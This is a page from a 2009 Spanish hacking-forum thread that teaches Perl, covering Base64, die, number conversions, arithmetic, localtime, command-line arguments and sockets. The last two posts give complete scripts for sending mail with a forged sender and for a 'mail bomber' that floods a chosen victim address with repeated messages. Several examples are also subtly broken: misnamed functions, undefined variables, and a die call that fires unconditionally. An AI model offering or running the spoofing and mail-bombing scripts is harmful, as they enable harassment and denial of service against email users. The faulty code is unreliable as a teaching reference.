elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  Curso de programación en Perl
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 2 [3] 4 Ir Abajo Respuesta Imprimir
Autor Tema: Curso de programación en Perl  (Leído 17,297 veces)
Erik#


Desconectado Desconectado

Mensajes: 1.138


Gundam


Ver Perfil
Re: Curso de programación en Perl
« Respuesta #20 en: 7 Enero 2009, 13:39 pm »

20.Encriptaci?n en B64

Primero de todo, tenemos que activar el modulo MIME::Base64:
Código
  1. #!/usr/bin/perl
  2. use MIME::Base64;

Una vez activado este modulo, podemos ver 2 opciones diferentes, codificar, descodificar.
Vamos con la codifiaci?n:
Activamos el modulo B64.

Código
  1. #!/usr/bin/perl
  2. use MIME::Base64;
  3. $encoded = encoded_base64('El texto');
  4. print $encoded;

Ya hemos cifrado la primera b64, ahora veremos como descodificar:
Código
  1. #!/usr/bin/perl
  2. use MIME::Base64;
  3. $decoded = decoded_base64('El texto');
  4. print $decoded;

Ya esta, recibimos el resultado, ahora, vamos a ver un ejemplo de un sistema que codifique y descodifique, aqui lo vemos:

Código
  1. #!/usr/bin/perl
  2. use MIME::Base64;
  3. print "Que texto desea codificar?:";
  4. $cod = <STDIN>;
  5. print "Que texto desea descodificar?:";
  6. $descod = <STDIN>;
  7. $encoded = encode_base64($cod);
  8. $decoded = decode_base64($descod);
  9. print "$encoded\n";
  10. print "$decoded";

Fin de la lecci?n del modulo B64.


En línea

Erik#


Desconectado Desconectado

Mensajes: 1.138


Gundam


Ver Perfil
Re: Curso de programación en Perl
« Respuesta #21 en: 7 Enero 2009, 13:40 pm »

21.Die

Se que una lecci?n para una sola funci?n es poco, pero ami esta funci?n me parece muy interesante por el solo hecho de avisarte formalmente de un error.

Cuando una subrutina o una configuraci?n de modulos, conexi?n etc... no te sale bien, usamos la funci?n die.
Die lo que hace es que si la conexi?n no salio bien, salta un mensaje y se acaba el programa.

Aqui un ejemplo de die en nuestro programa el mail bomber:
Código
  1. #!/usr/bin/perl
  2. use Net::SMTP;
  3. $smtp = Net::SMTP->new('error',
  4. Hello => 'error',
  5. Timeout =>25,
  6. Debug   =>1,
  7. );
  8. die "No se ha podido conectar al servidor";

Como veis, die declara que no se efectuo la conexion y se acaba el programa.


En línea

Erik#


Desconectado Desconectado

Mensajes: 1.138


Gundam


Ver Perfil
Re: Curso de programación en Perl
« Respuesta #22 en: 7 Enero 2009, 13:40 pm »

22.Conversiones de bases numericas

De hexadecimal a decimal:

Código
  1. #!/usr/bin/perl
  2. print hex ("contenido");
  3.  

De octal a decimal:

Código
  1. #!/usr/bin/perl
  2. print oct ("cifra");
  3.  

De decimal a ASCII:

Código
  1. #!/usr/bin/perl
  2. print chr("cifra");

Y como pusimos en una lección anterior de hexadecimal a binario:

Código
  1. #!/usr/bin/perl
  2. print "join('', unpack('B*', "\x191"));

EDIT: Ahora me acorde de otra funcion de conversión era ord, para pasar de ASCII a octal y otros...

Código
  1. #!/usr/bin/perl
  2. print ord("cifra o caracteres");
  3.  

Proxima lección, funciones numericas como RAND, restas, multiplicaciones...
En línea

Erik#


Desconectado Desconectado

Mensajes: 1.138


Gundam


Ver Perfil
Re: Curso de programación en Perl
« Respuesta #23 en: 7 Enero 2009, 13:40 pm »

22.Funciones numericas

Como veis en el titulo, vamos a hablar de este tipo de funciones numericas:
- Rand
- Rand transformado
- Sumas
- Restas
- Divisiones
- Multiplicaciones
- Potencias
- Raices cuadradas
- Valores absolutos
- Restos

1.Rand:
Lo que la  funci?n numerica rand hace es elegir un numero flotante del 0 al numero que quieras.

Código
  1. #!/usr/bin/perl
  2. print rand(80);

2.Rand transformado:
Es lo mismo que antes solo que puedes elegir numeros octales, caracteres ASCII, colocando su referente delante de todo:

Código
  1. #!/usr/bin/perl
  2. print oct(rand(80));

3.Sumas:
Las sumas se efectuan usando el caracter +:

Código
  1. #!/usr/bin/perl
  2. $suma = 9+9;
  3. print $suma;

4.Restas:
Las restas se efectuan usando el caracter -:

Código
  1. #!/usr/bin/perl
  2. $resta = 9-9;
  3. print $resta;

5.Divisiones:
Las divisiones se efectuan usando el caracter /:

Código
  1. #!/usr/bin/perl
  2. $division = 81/9;
  3. print $division;

6.Multiplicaciones:
Las multiplicaciones se efectuan usando el caracter *:

Código
  1. #!/usr/bin/perl
  2. $multi = 9*9;
  3. $multi;

7.Potencias:
Hay dos tipos de efectuar potencias, usando el sistema exp para conseguir la potencia a cualquier numero:

Código
  1. #!/usr/bin/perl
  2. $pot = exp 8;
  3. print $pot;

Y luego, elevar un numero a una potencia, aqui vemos como se hace:

Código
  1. #!/usr/bin/perl
  2. $pot = 5 ** 2;
  3. print $pot;

Esto se llamaria 5 a la 2 o 5 al cuadrado.

8.Raices cuadradas:
La raiz cuadrada al igual que C se utiliza sqrt, pero en perl no necesitamos la libreria math.h:

Código
  1. #!/usr/bin/perl
  2. $raizcuadrada= sqrt 81;
  3. print $raizcuadrada;
  4.  

9.Valor absoluto:
El valor absoluto se obtiene usando la funcion abs por ejemplo:

Código
  1. #!/usr/bin/perl
  2. print abs(-90);

10.Como sacar el resto:
El resto se obtiene usando el caracter %:

Código
  1. #!/usr/bin/perl
  2. $resto = 14 % 51;
  3. print $resto;
En línea

Erik#


Desconectado Desconectado

Mensajes: 1.138


Gundam


Ver Perfil
Re: Curso de programación en Perl
« Respuesta #24 en: 7 Enero 2009, 13:41 pm »

23.Localtime

Al principio del curso vimos que usabamos la funcion localtime, actualmente, vamos a ense?aros a representarla con las definiciones que querrais, la sintaxis seria algo as?:

Código
  1. #!/usr/bin/perl
  2. ($sec,$min,$hor,$day,$mon,$year,$wday,$yday,$isdst)=localtime(time);
  3. print "$sec,";
  4. print " $min, ";
  5. print "$hour, ";
  6. print "$isdst, ";
  7. print "$year, ";
  8. print "$mon, ";
  9. print "$wday, ";
  10. print "$yday, ";
  11. print "$mday.";
  12.  

Como veis, ya indica cada cosa que es, imaginaos que ahora queremos hacer una aplicacion que muestro, hora:minuto:segundo.

Código
  1. #!/usr/bin/perl
  2. ($sec,$min,$hor)=localtime(time);
  3. print "$hor: $min: $sec";

?t voila!
En línea

Erik#


Desconectado Desconectado

Mensajes: 1.138


Gundam


Ver Perfil
Re: Curso de programación en Perl
« Respuesta #25 en: 7 Enero 2009, 13:41 pm »

24.Variables argumentativa

Las variables argumentativasson las que se consiguen escribiendo como si fuera un metodo get, por ejemplo:

Código
  1. #!/usr/bin/perl
  2. print "Te llamas $ARGV[0]";

Pero claro, para conseguir el resultado de esa variable argumentativa, necesitamos escribir al ejecutar el archivo.pl esto:

nombre.pl Erik

En este caso seria eso.
Pueden a?adirles tantas argumentativas como quieran.
Si no ha quedado claro, crean un nuevo tema y preguntais all
En línea

Erik#


Desconectado Desconectado

Mensajes: 1.138


Gundam


Ver Perfil
Re: Curso de programación en Perl
« Respuesta #26 en: 7 Enero 2009, 13:41 pm »

25.Conexi?n a Sockets

A petici?n de rockox, pondre como hacer una conexi?n a sockets y una conexion a una ip, puerto y tcp remoto.
Primero, usaremos el modulo Socket.

Lo declaramos as?:

Código
  1. use IO::Socket;

Y luego, para acceder la conexi?n tenemos que introducir los datos, primero lo haremos por variables argumentativas como vemos en la lecci?n 24 y luego por variables simples usando <STDIN>.

Código
  1. #!/usr/bin/perl
  2. use IO::Socket;
  3. $conexion= IO::Socket::INET->new(PeerAddr, $ARGV[0], PeerPort, $ARGV[1],  Proto, 'tcp');

Aqui, hariamos algo as?, por ejemplo le llaremos conexion.pl, escribiriamos esto en el cmd:
conexion.pl "ip" "puerto" (sin comillas)

Y se conectaria a esa ip y puerto.
Luego por variables simples:


Código
  1. #!/usr/bin/perl
  2. use IO::Socket;
  3. print "Introduce la ip:";
  4. $ip = <STDIN>;
  5. print "\nIntroduce el puerto:";
  6. $puerto = <STDIN>;
  7. $conexion= IO::Socket::INET->new(PeerAddr, $ip, PeerPort, $puerto,  Proto, 'tcp');

Y listo.

En la lecci?n 26, veremos complementaciones a los sockets (scanner de puertos, mail bomber...)
En línea

Erik#


Desconectado Desconectado

Mensajes: 1.138


Gundam


Ver Perfil
Re: Curso de programación en Perl
« Respuesta #27 en: 7 Enero 2009, 13:42 pm »

26.Enviar mensajes a una direcci?n [CHAT]

Bueno, aqui os pondre como poder enviar mensajes a una direcci?n ip para poder contactarte con el, primero yo lo hare local, as?, podremos ver mejor y probarlo y m?s adelante lo haremos remoto.

Empezamos con el que envia mensajes:

Código
  1. #!/usr/bin/perl
  2. use IO::Socket;
  3. $sock = new IO::Socket::INET (LocalHost => 'localhost',
  4. LocalPort => 1100,
  5. Proto     => 'tcp',
  6. Listen    =>  6,
  7. Reuse     => 1
  8. );
  9. die "No se ha podido crear el socket: $!\n" unless $sock;
  10. $conexion= $sock -> accept();
  11. $conexion->send($ARGV[0]);
  12. close ($conexion);
  13.  

Esto lo que hace es mandar un mensaje a la direccion 127.0.0.1 al puerto 1100 con el protocolo tcp, veremos que hemos usado una variable argumentativa, en la leccion 24 y 25 vemos algun ejemplo, emplearlo ;).

Y podremos ver desde un programa como telnet los mensajes que se reciben :).
En línea

Erik#


Desconectado Desconectado

Mensajes: 1.138


Gundam


Ver Perfil
Re: Curso de programación en Perl
« Respuesta #28 en: 7 Enero 2009, 13:42 pm »

27.Anonymous mail

Código
  1. #!/usr/bin/perl
  2. use Net::SMTP;
  3. print "Introduzca el mailhost al que desea solicitar la conexion:";
  4. $mailhost = <STDIN>;
  5. print "Introduzca el email que desea utilizar:";
  6. $emailfrom = <STDIN>;
  7. print "Introduzca el email que desea bombear:";
  8. $emailto = <STDIN>;
  9. print "Introduzca el asunto del correo:";
  10. $asunto = <STDIN>;
  11. print "Introduzca el mensaje que desea enviar (Puede usar secuencias de escape (\\n, \\a...)):";
  12. $sms = <STDIN>;
  13. $smtp = Net::SMTP->new("$mailhost",
  14. Hello => "$mailhost",
  15. Timeout =>25,
  16. Debug   =>1,
  17. );
  18. die "No se ha podido conectar al servidor";
  19. print $smtp->domain,"\n";
  20. $smtp->mail("$emailfrom");
  21. $smtp->to("$emailto");
  22. $smtp->data();
  23. $smtp->datasend("To: $emailto");
  24. $smtp->datasend("From: $emailfrom");
  25. $smtp->datasend("Subject:$asunto\n");
  26. $smtp->datasend("$sms");
  27. $smtp->dataend();
  28. $smtp->quit();
  29.  

Tiene el mismo c?digo que el mail bomber, pero lo quitamos el bucle for :).
En línea

Erik#


Desconectado Desconectado

Mensajes: 1.138


Gundam


Ver Perfil
Re: Curso de programación en Perl
« Respuesta #29 en: 7 Enero 2009, 13:42 pm »

28.Bomb Mailer

Código
  1. #!/usr/bin/perl
  2. use Net::SMTP;
  3. print "Buenas, cuantos mails bombs deseas hacer:";
  4. $n = <STDIN>;
  5. print "Introduzca el mailhost al que desea solicitar la conexion:";
  6. $mailhost = <STDIN>;
  7. print "Introduzca el email que desea utilizar:";
  8. $emailfrom = <STDIN>;
  9. print "Introduzca el email que desea bombear:";
  10. $emailto = <STDIN>;
  11. print "Introduzca el asunto del correo:";
  12. $asunto = <STDIN>;
  13. print "Introduzca el mensaje que desea enviar (Puede usar secuencias de escape (\\n, \\r...)):";
  14. $sms = <STDIN>;
  15. for ($a=1;$a<=$n;$a++) {
  16. $smtp = Net::SMTP->new("$mailhost",
  17. Hello => "$mailhost",
  18. Timeout =>25,
  19. Debug   =>1,
  20. );
  21. die "No se ha podido conectar al servidor";
  22. print $smtp->domain,"\n";
  23. $smtp->mail("$emailfrom");
  24. $smtp->to("$emailto");
  25. $smtp->data();
  26. $smtp->datasend("To: $emailto");
  27. $smtp->datasend("From: $emailfrom");
  28. $smtp->datasend("Subject:$asunto\n");
  29. $smtp->datasend("$sms");
  30. $smtp->dataend();
  31. $smtp->quit();
  32. }
En línea

Páginas: 1 2 [3] 4 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
C/c++ curso de programacion (2ª edic)(+ CD-rom), falta CD
Programación C/C++
modo_senin 3 4,922 Último mensaje 30 Diciembre 2011, 16:50 pm
por 3mp3z@ndo
Curso de Programación de aplicaciones en Android
Android
free-articles 1 3,404 Último mensaje 9 Mayo 2013, 00:23 am
por CodeSource
[Duda] ¿Algún curso/manual de Perl?
Scripting
DeMoNcRaZy 5 3,114 Último mensaje 27 Junio 2015, 23:21 pm
por explorer
Curso de Programación Java con Grails
Java
usernovato 1 2,576 Último mensaje 27 Octubre 2015, 00:09 am
por jsuperh
[CURSO] Programación en Java « 1 2 »
Java
3n31ch 10 19,870 Último mensaje 28 Junio 2017, 08:36 am
por 3n31ch
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines